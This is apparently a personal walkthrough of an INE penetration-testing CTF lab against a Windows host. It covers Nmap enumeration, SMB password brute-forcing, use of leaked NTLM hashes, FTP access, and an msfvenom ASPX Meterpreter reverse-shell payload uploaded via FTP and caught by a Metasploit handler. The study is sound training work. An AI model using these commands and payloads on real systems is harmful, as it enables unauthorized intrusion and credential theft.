October 28, 2026

Host & Network Penetration Testing: Exploitation CTF 2

My Walkthrough

By Prajwal S

7 min read

My Walkthrough

My hands-on journey through SMB enumeration, weak-password discovery, NTLM hash analysis, FTP access, and Windows payload execution.

Introduction

In this INE Host & Network Penetration Testing: Exploitation CTF 2 lab, I investigated a Windows target by identifying exposed services, discovering weak credentials, examining leaked NTLM hashes, and using the access I gained to progress through four flags.

The lab demonstrated how seemingly small security weaknesses can combine into a larger compromise. I began with network enumeration, moved to SMB authentication testing, discovered sensitive files in accessible shares, used a clue to access an FTP service, and ultimately obtained a Meterpreter session on the Windows machine.

This walkthrough documents my learning process, including the commands I used, the results I observed, and the lessons I took away from each stage.

Note to readers:_ This article documents my personal cybersecurity learning journey. Don't just copy the commands — try the lab yourself, understand the process, and learn from your mistakes. The goal is to build skills, not just capture flags!_

Publication note: Actual flag values, recovered passwords, and hash values are omitted. Before publishing detailed INE lab solutions, I should review INE's current publication rules.

Lab Environment

  • Platform: INE
  • Lab: Host & Network Penetration Testing: Exploitation CTF 2
  • Target hostname: target.ine.local
  • Target IP observed during the scan: 10.5.31.167
  • Tools: Nmap, Metasploit Framework, SMB scanner, FTP client, and msfvenom

Part 1 — Network Enumeration and Flag 1

Step 1: Identify exposed services with Nmap

I started by scanning the target to understand which services were exposed.

nmap -sV -sC target.ine.local

Command breakdown:

  • nmap — scans the target for network services.
  • -sV — attempts to identify the versions of discovered services.
  • -sC — runs Nmap's default NSE scripts.
  • target.ine.local — specifies the lab target hostname.

The scan identified several important services:

PortServiceFinding21FTPMicrosoft FTP Service80HTTPMicrosoft IIS 8.5135MSRPCWindows RPC139NetBIOSWindows networking service445SMBMicrosoft file-sharing service3389RDPRemote Desktop service

Additional high-numbered RPC ports were also open.

SMB on port 445 became my main focus because the first challenge mentioned a user named tom whose password had not been changed for a long time.

Step 2: Select the SMB login scanner in Metasploit

I launched Metasploit and searched for the SMB login scanner.

msfconsole
search smb_login
use 0
options

What these commands do:

  • msfconsole — starts the Metasploit Framework console.
  • search smb_login — searches for modules related to SMB login testing.
  • use 0 — selects the first result in the displayed search results.
  • options — displays the module's available configuration settings.

I selected auxiliary/scanner/smb/smb_login and configured the scan for the lab account.

set VERBOSE false
set RHOST target.ine.local
set SMBUser tom
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set CreateSession true
run

Important options:

  • VERBOSE false reduces output from individual unsuccessful attempts.
  • RHOST specifies the remote host. The module's options identify RHOSTS as the target-host setting; in my transcript, I entered RHOST.
  • SMBUser tom specifies the account being tested.
  • PASS_FILE points to a wordlist containing candidate passwords.
  • CreateSession true requests an SMB session when authentication succeeds.
  • run executes the scanner.

The scanner identified a working credential for tom and opened an SMB session.

I then checked the available sessions:

sessions
sessions 1

This allowed me to interact with the established SMB session and investigate the shares accessible to the account.

Step 3: Enumerate SMB shares

Inside the SMB session, I listed the available shares.

shares

The results included:

  • ADMIN$
  • C$
  • D$
  • HRDocuments
  • IPC$
  • ITResources
  • print$

The HRDocuments and ITResources shares stood out because they were named as regular disk shares rather than administrative shares.

I connected to HRDocuments using its index from the displayed list:

shares -i 3
ls

The listing revealed two files:

flag1.txt
leaked-hashes.txt

This was an important discovery. The share contained both the first flag and a file of leaked hash material that could be relevant to the next challenge.

Step 4: Retrieve Flag 1 and the leaked hash file

I downloaded both files from the share:

download flag1.txt
download leaked-hashes.txt
  • download flag1.txt retrieves the flag file to my local working directory.
  • download leaked-hashes.txt retrieves the file containing the hash material.

After exiting the SMB session, I inspected the downloaded files from Kali:

cat flag1.txt
cat leaked-hashes.txt

I recovered Flag 1 and examined the leaked hash list. The actual flag and hash values are omitted from this public write-up.

What I learned: An authenticated SMB session can reveal more than a single file. Enumerating accessible shares and reviewing their contents can uncover additional evidence and material relevant to later stages of an assessment.

Part 2 — NTLM Hash Analysis and Flag 2

Step 5: Test the credentials for the nancy account

The second challenge specifically referenced the NTLM hash list discovered in the previous stage. I returned to Metasploit and selected the SMB login scanner again.

msfconsole
search smb_login
use 0

I configured the scanner to test the nancy account using the downloaded file:

set SMBUser nancy
set PASS_FILE leaked-hashes.txt
run

My first attempt returned an error because I had not set the required target host. I corrected the configuration:

set RHOST target.ine.local
run

The scanner tried the entries in the supplied file and eventually reported a successful authentication for nancy.

A technical distinction worth understanding: The file contained colon-separated hash pairs, but I supplied it through the scanner's PASS_FILE option, which is described as a file of passwords. These are not necessarily interchangeable formats. My transcript records a successful authentication, but it does not establish exactly how the module interpreted the matching entry. For a reproducible write-up, I would verify the intended hash-authentication format rather than assume that every hash list can be used directly as a password list.

Step 6: Inspect the shares available to nancy

After the successful login, I checked the active sessions and interacted with the SMB session.

sessions
sessions 1
shares

The share list included ITResources. I selected it using its index in the current session:

shares -i 5
ls

The share contained:

flag2.txt
hint.txt

I downloaded both files:

download flag2.txt
download hint.txt

Then, from my Kali terminal, I read their contents:

cat flag2.txt
cat hint.txt

I recovered Flag 2. The hint file also revealed a set of credentials intended to help with the next stage. The actual flag and credential values are omitted here.

What I learned: A compromised account may have access to different resources from another account. Repeating share enumeration after changing accounts helped me discover files that were not part of my first set of findings.

Part 3 — FTP Access and Flag 3

Step 7: Follow the hint to the FTP service

The hint from ITResources gave me a reason to investigate FTP, which my original Nmap scan had identified on port 21.

I connected to the target using the FTP client:

ftp target.ine.local

The server returned the Microsoft FTP Service banner and prompted for a username and password. I entered the credentials recovered from the hint file, and the server accepted the login.

Step 8: Enumerate the FTP directory

After logging in, I listed the remote directory:

ls

The directory listing included:

aspnet_client/
flag3.txt
iis-85.png
iisstart.htm

I initially tried to use cat inside the FTP prompt, but the command was rejected. The FTP client has its own command set; it does not provide the normal Linux shell commands.

I used get to download the flag file instead:

get flag3.txt
exit

Back in my Kali terminal, I read the downloaded file:

cat flag3.txt

This revealed Flag 3. Its actual value is omitted.

What I learned: FTP commands and shell commands serve different purposes. Inside an FTP session, get downloads a remote file; I then used cat in my local terminal to inspect the downloaded content.

Part 4 — Windows Payload and Flag 4

Step 9: Generate an ASPX payload

The final objective was to compromise the Windows target and retrieve C:\flag4.txt.

I used msfvenom to generate an ASPX payload. My first attempt included an extra leading slash in the payload name:

msfvenom -p /windows/x64/meterpreter/reverse_tcp LHOST=10.10.44.4 LPORT=1234 -f aspx > shell.aspx

That attempt failed because Metasploit reported the payload as invalid.

I corrected the payload name and ran the command again:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.44.4 LPORT=1234 -f aspx > shell.aspx

Command breakdown:

  • msfvenom — generates a payload in a specified format.
  • -p windows/x64/meterpreter/reverse_tcp — selects a 64-bit Windows Meterpreter reverse-TCP payload.
  • LHOST=10.10.44.4 — specifies the callback IP address used in my lab.
  • LPORT=1234 — specifies the callback port.
  • -f aspx — generates output in ASPX format.
  • > shell.aspx — redirects the generated output into a file named shell.aspx.

The corrected command completed and created the ASPX file.

Step 10: Upload the ASPX file through FTP

I connected to the FTP service again and logged in using the recovered credentials. After authentication, I uploaded the file:

put shell.aspx

The FTP server confirmed that the file transfer completed.

I exited the FTP session after the upload.

Important limitation in my notes: The transcript confirms that I uploaded shell.aspx, but it does not show the exact URL or browser request used to execute it. I have not invented that missing step.

Step 11: Configure the Metasploit handler

I started Metasploit and searched for the generic payload handler.

msfconsole
search multi/handler
use 7
options

I configured the callback listener to match the payload settings:

set LHOST 10.10.44.4
set LPORT 1234
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
  • LHOST specifies the address on which the handler listens.
  • LPORT specifies the listening port.
  • PAYLOAD selects the payload type expected by the handler.
  • exploit starts the handler and waits for an incoming connection.

The transcript recorded Meterpreter sessions opening from the target. The initial output also showed errors loading some client components, so I continued by checking the session and exploring the target filesystem.

Step 12: Locate Flag 4

Inside Meterpreter, I checked my working directory and moved to the root of the Windows drive:

pwd
cd /
ls

The current directory was initially:

C:\Windows\System32\inetsrv

After moving to C:\, the directory listing showed flag4.txt directly in the drive root.

I read the file:

cat flag4.txt

Meterpreter returned the contents of the file, revealing Flag 4. Its actual value is omitted.

What I learned: Generating a payload, transferring it to a target, configuring a matching handler, and verifying the resulting session are separate steps. I also confirmed that the final flag was stored at the root of the Windows drive rather than needing to be searched for in a user profile.

Key Takeaways

  1. Service enumeration matters. Nmap identified SMB, FTP, IIS, and RDP, helping me choose where to investigate.
  2. Weak credentials can expose sensitive data. The first SMB account gave me access to a share containing both a flag and leaked hash material.
  3. Account permissions differ. Logging in as another account exposed a different share and a useful hint.
  4. Follow clues between services. The hint recovered through SMB led me to investigate FTP.
  5. Understand tool-specific commands. I used FTP's get and put commands for file transfers and local shell commands to inspect downloaded files.
  6. Payload settings must match the handler. The callback address, port, and payload type needed to be consistent.
  7. Verify every result. I checked the active session and filesystem before retrieving the final flag.
  8. Document errors as part of learning. My invalid payload syntax and initial missing-host configuration were useful reminders to read error messages carefully.

Conclusion

This lab gave me hands-on practice connecting multiple stages of a Windows penetration test.

I started by enumerating services, used the SMB login scanner to discover weak credentials, and found sensitive files in accessible shares. I then used a recovered hint to access FTP, downloaded the third flag, and continued by generating and uploading an ASPX payload. Finally, I configured a Metasploit handler, obtained a Meterpreter session, and retrieved the final flag from the Windows drive root.

The biggest lesson I took away is that successful penetration testing depends on more than finding a single vulnerability. It requires methodical enumeration, careful interpretation of evidence, and verification of each step.

I will continue practising in authorized lab environments and documenting the process so I can better understand not just what worked, but why it worked.

This article describes an authorized training lab. Before publishing detailed INE solutions, I should review INE's current publication rules and ensure that flags, credentials, and other restricted lab details are not disclosed.